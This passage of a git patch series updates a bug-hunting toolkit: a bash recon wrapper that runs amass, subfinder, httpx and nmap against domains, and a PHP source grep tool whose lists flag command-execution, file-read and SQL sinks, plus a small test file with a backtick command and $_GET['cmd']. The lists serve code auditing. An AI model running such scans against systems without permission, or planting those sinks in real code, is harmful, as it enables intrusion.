$(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -719,9 +704,6 @@ case "$cmd" in enum) enum "$2" ;; - webservers) - webservers "$2" - ;; recon) recon "$2" "$3" "$4" ;; @@ -844,7 +826,6 @@ case "$cmd" in echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN enum $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 17d3f99b9cb453fd0efc0e02578647879d47b198 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 Dec 2024 11:54:09 +0000 Subject: [PATCH 348/369] [pef] exit when no dir/file provided for scan --- pef/pef.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pef/pef.py b/pef/pef.py index 2953b73..92d4be2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -373,6 +373,10 @@ def print_summary(self, total_found: int) -> None: if args.sinks: source_or_sink = 'sink' + if args.dir is None: + print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") + exit(0) + filename = args.dir # main orutine starts here From 2093050e422e6189a3f8f0e44164941d0635b9ad Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 20 Feb 2025 16:03:35 +0000 Subject: [PATCH 349/369] [s0mbra] remove sublister; added amass --- pef/pef.py | 2 +- s0mbra.sh | 13 +++++++------ 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 92d4be2..e0a8e12 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -376,7 +376,7 @@ def print_summary(self, total_found: int) -> None: if args.dir is None: print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") exit(0) - + filename = args.dir # main orutine starts here diff --git a/s0mbra.sh b/s0mbra.sh index 34b3f86..d4e4b83 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -218,16 +218,17 @@ enum() { DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" - + # amass passive enum + echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/enum_subfinder.log # prepare list of uniqe subdomains - cat $TMPDIR/sub* > $TMPDIR/step1 + cat $TMPDIR/enum* > $TMPDIR/step1 sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* From 53a7fcc4094613ed6148df5ad59602444470860c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 21 Feb 2025 16:59:11 +0000 Subject: [PATCH 350/369] [pef] fix for multiple levels passed --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index e0a8e12..a3f4b3e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -361,7 +361,7 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() - level = args.level.upper() if args.level in ALLOWED_LEVELS else 'MEDIUM,HIGH,CRITICAL' + level = args.level.upper() if args.level else 'HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account if args.function is not None: From ca76b87a368a62072ba0f4c38a46dce2fa2ad634 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 21 Feb 2025 17:03:42 +0000 Subject: [PATCH 351/369] [pef] do not clear screen between calls --- pef/pef.py | 1 - 1 file changed, 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index a3f4b3e..aa9daa2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -288,7 +288,6 @@ def run(self): runs scanning """ total_found = 0 - os.system('clear') print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") From 2541ea6d34e1b3df96c7f6397b8cab1b6dd8700d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 10 Mar 2025 09:13:48 +0000 Subject: [PATCH 352/369] [pef] update severity level for . variables --- pef/imports/pefdocs.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index d17844c..e422511 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -566,21 +566,21 @@ "$_POST reference found", "", "", - "high", + "critical", "source" ], "$_GET": [ "$_GET reference found", "", "", - "high", + "critical", "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "high", + "critical", "source" ], "$_COOKIES": [ @@ -589,5 +589,12 @@ "", "high", "source" + ], + "$_SESSION": [ + "$_SESSION reference found", + "", + "", + "high", + "source" ] } From c2cd5a721e50765cb6d4959697780a82266f3c3b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 13 Mar 2025 13:40:54 +0000 Subject: [PATCH 353/369] [pef] updates --- pef/imports/pefdocs.py | 14 ++++++++++++++ pef/pef.py | 8 ++++---- 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index e422511..2952215 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -583,6 +583,20 @@ "critical", "source" ], + "$_FILES": [ + "$_FILES reference found", + "", + "", + "high", + "source" + ], + "$_ENV": [ + "$_ENV reference found", + "", + "", + "medium", + "source" + ], "$_COOKIES": [ "$_COOKIES reference found", "", diff --git a/pef/pef.py b/pef/pef.py index aa9daa2..3ccf16f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -163,9 +163,9 @@ def banner(): Prints welcome banner with contact info """ print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", + print("-" * 6, " PEF | PHP Source Code grep tool", " " * 35, "-" * 16) - print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", + print("-" * 6, " https://github.com/bl4de ", " " * 22, "-" * 16) print("-" * 100, "\33[0m\n") @@ -235,7 +235,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou } meets_criteria = 0 - # print legend only if there i sentry in pefdocs.py + # print legend only if there is entry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) @@ -323,7 +323,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") - print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") + print(f"{beautyConsole.getColor('grey')}Level: {beautyConsole.getColor('green')}LOW,{beautyConsole.getColor('yellow')}MEDIUM,HIGH,{beautyConsole.getColor('red')}CRITICAL{beautyConsole.getColor('grey')}\n") # main program From e375e73ab0ab613b915172bbb97c2556f58291fe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Apr 2025 12:44:20 +0100 Subject: [PATCH 354/369] [s0mbra] update enum message --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d4e4b83..cfae07f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -245,7 +245,7 @@ enum() { END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY amass+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" From 99116cf4b8e883990a001cb65a17addcdf85287d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Apr 2025 16:45:15 +0100 Subject: [PATCH 355/369] [pef] added _SESSION --- pef/imports/pefdocs.py | 2 +- pef/pef.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 2952215..ed8f95b 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -608,7 +608,7 @@ "$_SESSION reference found", "", "", - "high", + "medium", "source" ] } diff --git a/pef/pef.py b/pef/pef.py index 3ccf16f..b4f9a94 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -132,6 +132,7 @@ "$_COOKIE", "$_REQUEST", "$_SERVER", + "$_SESSION", "include($_GET", "require($_GET", "include_once($_GET", From a37c78c82231cc969ba0b86acdb4e4ac8fd4e494 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 24 Apr 2025 18:03:14 +0100 Subject: [PATCH 356/369] [pef] added extractTo() --- pef/imports/pefdocs.py | 7 +++++++ pef/pef.py | 1 + 2 files changed, 8 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index ed8f95b..bf153e7 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -534,6 +534,13 @@ "high", "source" ], + "extractTo(": [ + "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", + "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", + "Arbitrary file write", + "medium", + "source" + ], "SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", diff --git a/pef/pef.py b/pef/pef.py index b4f9a94..a59b2e8 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -127,6 +127,7 @@ "__sleep(", "filter_var(", "file_put_contents(", + "extractTo(", "$_POST", "$_GET", "$_COOKIE", From 3bd5ec1e97f1668b28eb6ecf309b9a9842e7e70e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Apr 2025 08:01:10 +0100 Subject: [PATCH 357/369] [pef] changes --- pef/imports/pefdocs.py | 7 +++++++ pef/pef.py | 41 ++++++++++++++--------------------------- pef/test.php | 3 +++ 3 files changed, 24 insertions(+), 27 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index bf153e7..c05b10c 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -617,5 +617,12 @@ "", "medium", "source" + ], + "$_SERVER": [ + "$_SERVER reference found", + "", + "", + "medium", + "source" ] } diff --git a/pef/pef.py b/pef/pef.py index a59b2e8..4e1329f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -130,7 +130,7 @@ "extractTo(", "$_POST", "$_GET", - "$_COOKIE", + "$_COOKIES", "$_REQUEST", "$_SERVER", "$_SESSION", @@ -142,13 +142,6 @@ "require($_REQUEST", "include_once($_REQUEST", "require_once($_REQUEST", - "$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]", "SELECT.*FROM", "INSERT.*INTO", "UPDATE.*", @@ -207,22 +200,16 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - tokens = [token for token in line.split(' ') if token != "\n"] - - # check agains @ at the beginning of the function name - atfn = f"@{fn}" - fn = f"{fn}" - - for token in tokens: - if token.startswith(fn) or token.startswith(atfn): - if fn == "`": - total_number_of_isses = self.print_code_line( - f.name, l, i, fn, self.severity, self.level, self.source_or_sink) - else: - total_number_of_isses = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, - self.source_or_sink) - meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + + if fn in line: + if fn == "`": + total_number_of_isses = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) + else: + total_number_of_isses = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria return (meets_criteria, total_number_of_isses) def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): @@ -230,8 +217,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou prints formatted code line """ impact_color = { - "low": "green", - "medium": "yellow", + "low": "grey", + "medium": "green", "high": "yellow", "critical": "red" } @@ -325,7 +312,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") - print(f"{beautyConsole.getColor('grey')}Level: {beautyConsole.getColor('green')}LOW,{beautyConsole.getColor('yellow')}MEDIUM,HIGH,{beautyConsole.getColor('red')}CRITICAL{beautyConsole.getColor('grey')}\n") + print(f"{beautyConsole.getColor('grey')}Severity levels: {beautyConsole.getColor('grey')} LOW {beautyConsole.getColor('green')} MEDIUM {beautyConsole.getColor('yellow')} HIGH {beautyConsole.getColor('red')} CRITICAL{beautyConsole.getColor('grey')}\n") # main program diff --git a/pef/test.php b/pef/test.php index 3bb1f9e..2008858 100644 --- a/pef/test.php +++ b/pef/test.php @@ -4,6 +4,9 @@ echo $_GET['cmd']; } +$_SERVER['x']; + `ls -lA`; []; +$test = $_COOKIES['x']; From 77f45c7689f54777560d246c26274ec24a7d18af Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Apr 2025 18:57:14 +0100 Subject: [PATCH 358/369] [s0mbra] update jadx version --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index cfae07f..bf782b0 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -531,7 +531,7 @@ dex_to_jar() { unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" - /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 + /Users/bl4de/hacking/tools/Java_Decompilers/jadx-1.5.1/bin/jadx-gui $1 } # runs disassembly agains binary From 79b67f3b8975fd356b3e93b6665cc8e168aeb6d5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 11 Jun 2025 13:32:58 +0100 Subject: [PATCH 359/369] [s0mbra] remove amass tmp file --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bf782b0..a779562 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -14,7 +14,6 @@ MAGENTA='\033[1;35m' CYAN='\033[36m' CLR='\033[0m' -NEWLINE='\n' # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { @@ -237,6 +236,7 @@ enum() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log + rm -f $TMPDIR/amass.tmp # httpx echo -e "\n$GREEN--> httpx$CLR\n" @@ -246,7 +246,7 @@ enum() { echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY amass+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY httpx found \t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' From e03ccc55ac015123a2fd4985d01e1e8b826a2f76 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 23 Jun 2025 05:30:57 +0100 Subject: [PATCH 360/369] [s0mbra] refactoring --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a779562..a932357 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -38,10 +38,10 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" - nmap -p- --min-rate=1000 -T4 $1 + nmap -p- --min-rate=1000 -T4 "$1" else echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" - nmap --top-ports $2 --min-rate=1000 -T4 $1 + nmap --top-ports "$2" --min-rate=1000 -T4 "$1" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" From 7379f5103843eb6702111d42861d056242c30829 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Jul 2025 18:53:39 +0100 Subject: [PATCH 361/369] [pef] add support for different languages --- pef/imports/pefdocs.py | 1364 ++++++++++++++++++++++------------------ pef/pef.py | 192 ++---- pef/test.js | 5 + 3 files changed, 800 insertions(+), 761 deletions(-) create mode 100644 pef/test.js diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index c05b10c..b48edf9 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -1,628 +1,752 @@ # Reference(S) for pef.py +# exploitable functions +exploitableFunctions = { + "javascript": [ + "eval(", + ], + "php": [ + "`", + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "arse_str(", + "parse_url(", + "preg_replace(", + "create_function(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "extract(", + "putenv(", + "ini_set(", + "mail(", + "unserialize(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "highlight_file(", + "fopen(", + "file(", + "fpassthru(", + "fsockopen(", + "gzopen(", + "gzread(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "ldap_search(", + "sqlite_", + "sqlite_query(", + "pg_", + "pg_query(", + "mysql_", + "mysql_query(", + "mysqli::query(", + "mysqli_", + "mysqli_query(", + "apache_setenv(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_exec(", + "php_uname(", + "phpinfo(", + "popen(", + "proc_open(", + "putenv(", + "symlink(", + "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(", + "extractTo(", + "$_POST", + "$_GET", + "$_COOKIES", + "$_REQUEST", + "$_SERVER", + "$_SESSION", + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST", + "SELECT.*FROM", + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" + ] +} + # doc dipslayed: # 1st element - description # 2nd element - syntax # 3rd element - possible vulnerability classes exploitableFunctionsDesc = { - "`": [ - "Allows to execute system command", - "`$command`", - "RCE", - "critical", - "sink" - ], - "system()": [ - "Allows to execute system command passed as an argument", - "system ( string $command [, int &$return_var ] ) : string", - "RCE", - "critical", - "sink" - ], - "exec()": [ - "exec - Execute an external program", - "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", - "RCE", - "critical", - "sink" - ], - "call_user_func_array()": [ - "Call a callback with an array of parameters", - "call_user_func_array ( callable $callback , array $param_arr ) : mixed", - "RCE", - "high", - "sink" - ], - "parse_url()": [ - "parse_url — Parse a URL and return its components", - "parse_url(string $url, int $component = -1): mixed", - "SSRF, Filter Bypass", - "medium", - "sink" - ], - "parse_str()": [ - "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", - "parse_str ( string $encoded_string [, array &$result ] ) : void" - "Code Injection", - "high", - "sink" - ], - "eval()": [ - "Evaluate a string as PHP code", - "eval ( string $code ) : mixed", - "RCE", - "critical", - "sink" - ], - "preg_replace()": [ - "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", - "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", - "RCE (in certain conditions)", - "medium" - ], - "create_function()": [ - "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", - "create_function ( string $args , string $code ) : string", - "Code Injection, RCE", - "medium", - "sink" - ], - "passthru()": [ - "Execute an external program and display raw output", - "passthru ( string $command [, int &$return_var ] ) : void", - "RCE", - "critical", - "sink" - ], - "shell_exec()": [ - "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", - "shell_exec ( string $cmd ) : string", - "RCE", - "critical", - "sink" - ], - "popen()": [ - "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", - "popen ( string $command , string $mode ) : resource", - "Code Injection", - "critical", - "sink" - ], - "proc_open()": [ - "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", - "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", - "Code Injection", - "high", - "sink" - ], - "pcntl_exec()": [ - "Executes the program with the given arguments.", - "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", - "RCE", - "critical", - "sink" - ], - "extract()": [ - "Import variables into the current symbol table from an array", - "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", - "Code Injection", - "high", - "sink" - ], - "ini_set()": [ - "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", - "ini_set ( string $varname , string $newvalue ) : string", - "PHP Interpreter behavior change; application settings overwrite", - "low" - ], - "mail()": [ - "Sends an email.", - "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", - "Arbitrary mail sending", - "low", - "sink" - ], - "echo": [ - "Outputs all parameters. No additional newline is appended.", - "echo ( string $arg1 [, string $... ] ) : void", - "XSS, HTML Injection, Content Injection etc.", - "low" - ], - "unserialize()": [ - "unserialize() takes a single serialized variable and converts it back into a PHP value.", - "unserialize ( string $str [, array $options ] ) : mixed", - "Code Injection, RCE (in certain conditions)", - "high", - "sink" - ], - "assert()": [ - "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", - "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", - "RCE, Code Injection (in certain conditions)", - "low" - ], - "call_user_func()": [ - "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", - "call_user_func ( callable $callback [, mixed $... ] ) : mixed", - "Code Injection", - "high", - "sink" - ], - "ereg_replace()": [ - "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", - "ereg_replace ( string $pattern , string $replacement , string $string ) : string", - "Code Injection", - "low", - "sink" - ], - "eregi_replace()": [ - "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", - "eregi_replace ( string $pattern , string $replacement , string $string ) : string", - "Code Injection", - "low", - "sink" - ], - "mb_ereg_replace()": [ - "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", - "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", - "Code Injection", - "low", - "sink" - ], - "mb_eregi_replace()": [ - "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", - "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", - "Code Injection", - "low", - "sink" - ], - "virtual()": [ - "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", - "virtual ( string $filename ) : bool", - "Local File Include, Remote File Include", - "low", - "sink" - ], - "readfile()": [ - "Reads a file and writes it to the output buffer.", - "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", - "Code Injection, LFI, RFI", - "high", - "source" - ], - "file_get_contents()": [ - "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", - "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", - "Code Injection, LFI, RFI", - "high", - "source" - ], - "show_source()": [ - "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", - "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", - "Information Disclosure", - "low", - "source" - ], - "highlight_file()": [ - "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", - "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", - "Information Disclosure", - "low", - "source" - ], - "fopen()": [ - "fopen() binds a named resource, specified by filename, to a stream.", - "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", - "Code Injection, LFI, RFI", - "low", - "source" - ], - "file()": [ - "Reads an entire file into an array.", - "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", - "Code Injection, LFI, RFI", - "low", - "source" - ], - "fpassthru()": [ - "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", - "fpassthru ( resource $handle ) : int", - "Code Injection, LFI, RFI, RCE (depending on the context)", - "low", - "sink" - ], - "fsockopen()": [ - "Initiates a socket connection to the resource specified by hostname.", - "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", - "RCE (depends on context)", - "low", - "sink" - ], - "gzopen()": [ - "Opens a gzip (.gz) file for reading or writing.", - "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", - "Code Injection, LFI (depends on context)", - "low", - "sink" - ], - "gzread()": [ - "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", - "gzread ( resource $zp , int $length ) : string", - "Code Injection, LFI", - "low", - "sink" - ], - "gzfile()": [ - "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", - "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", - "Code Injection, LFI", - "low", - "sink" - ], - "gzpassthru()": [ - "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", - "gzpassthru ( resource $zp ) : int", - "Code Injection, LFI", - "low", - "sink" - ], - "readgzfile()": [ - "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", - "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", - "Code Injection, LFI, RCE", - "medium", - "sink" - ], - "mssql_query()": [ - "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", - "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", - "SQL Injection", - "high" - ], - "odbc_exec()": [ - "Sends an SQL statement to the database server.", - "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", - "SQL Injection", - "high", - "sink" - ], - "sqlsrv_query()": [ - "Prepares and executes a query", - "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "PDO::query()": [ 